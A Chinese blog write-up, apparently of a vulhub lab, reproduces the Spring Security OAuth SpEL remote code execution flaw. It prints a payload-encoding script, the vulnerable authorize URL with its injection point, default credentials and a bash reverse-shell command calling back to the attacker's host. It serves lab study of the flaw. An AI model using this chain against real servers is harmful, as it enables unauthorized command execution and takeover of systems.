0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)

0x01 影响版本

Spring Security OAuth 1.0.0到1.0.5

Spring Security OAuth 2.0.0到2.0.9

Spring Security OAuth 2.0到2.0.14

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.3到2.3.2

0x02 实验入坑说明

(1)poc的执行环境请一定要使用python3,不一定要在靶机Ubuntu内运行poc

(2)直接在自己的服务器监听的是另一个端口,并不影响实验的复现,相当于一个端口启动一个靶场,然后使用另一个端口接收反弹回来的shell

0x03 实验步骤

(1)首先,我们打开靶场环境:看到logo即可确定是spring的集成环境

(2)这里我们复现的步骤一定要一步一个脚印,不可大意。

首先,在vulhub的靶场内你可以看到一个poc.py

这个poc.py并不是你所希望的那种一键getshell的exp,而是一个用于对bash脚本进行编码的poc,如果想知道为什么,请查看文末的友情链接

这个poc十分重要,且只能使用python3的环境,Ubuntu默认已安装python3,但是,如果直接输入python是使用的python2的环境,我在此填坑半小时

可以cat poc.py后直接在自己的本机上运行该poc.py,其全部代码如下:

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}'

(3)靶场环境有一个URL十分重要,即为:

http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

这就是存在命令执行的漏洞环境。触发点在:${233*233}

想知道原理可以查询这篇文章,已经写得非常好了:

https://www.cnblogs.com/litlife/p/10380701.html

(4)复现步骤如下,将自己的shell接收地址记录编辑下来:

bash -i >& /dev/tcp/your-ip/1234 0>&1

在以下网站进行编码操作:

http://www.jackson-t.ca/runtime-exec-payloads.html

然后运行poc.py脚本:(可以不在Ubuntu内运行,我是为了单纯的方便)

提示输入需要编码的字符串,然后将以下在

java.lang.Runtime.exec() Payload Workarounds生成的反弹shell的payload复制到上面的输入框中

成功生成一大串的已经编码过的payload:

http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

看到${233*233}了吗,此时,我们只要用自己的反弹shell的payload把${233*233}这个命令执行触发点替换即可

但是,在替换之前,请记得在你的攻击机Ubuntu上开启监听:

第一次输入上面的URL的时候,会提示你输入账号密码,直接输入admin/admin就可以到达错误页面了:

此时我们就可以使用payload进行反弹shell到Ubuntu了,以下为我在外网搭建的靶场反弹成功的例子,你也可以动手试试:

0x04 实验原理

(1)实验原理大致是该版本的Spring的一个错误页面,存在参数获取未进行过滤,导致可以直接对服务器执行系统权限

(2)详情请参考这篇非常经典的文章:https://www.cnblogs.com/litlife/p/10380701.html(在此不再赘述)

最新文章

  1. sqlite简单使用
  2. Javascript中bind、call、apply函数用法
  3. SVN强制解锁操作
  4. JavaScript 常用功能总结
  5. java SpringUtil获取bean
  6. pod 安装 Masonry 遇到问题
  7. 如果出现isapi和CGI限制的时候
  8. P73、面试题9:斐波那契数列
  9. 双MIC安卓手机录音问题
  10. Jquery学习笔记:操作form表单元素之二(复选框和单选框)
  11. hdu 1536 S-Nim (简单sg函数)
  12. python实例编写(6)--引入unittest测试框架,构造测试集批量测试(以微信统一管理平台为例)
  13. React常见的15个问题
  14. Stm32 GPIO复习
  15. HTML5 本地缓存 window.localStorage
  16. app 压力测试
  17. 2012服务器在IIS部署的SLL(https)网址谷歌浏览器无法访问的问题解决
  18. java多线程之yield,join,wait,sleep的区别
  19. Visual Studio2013的安装过程及练习测试
  20. apache2.4.29安装脚本

热门文章

  1. 找工作面试题记录与参考资料(Golang/C++/计算机网络/操作系统/算法等)
  2. hive+postgres安装部署过程
  3. unbuntu 安装 bochs
  4. js的变量,作用域,内存
  5. python xml转excle
  6. Dos简单命令及CMD打开方式
  7. webpack-cli bugs All In One
  8. Jupyter All In One
  9. holy shit StackOverflow
  10. Java Hipster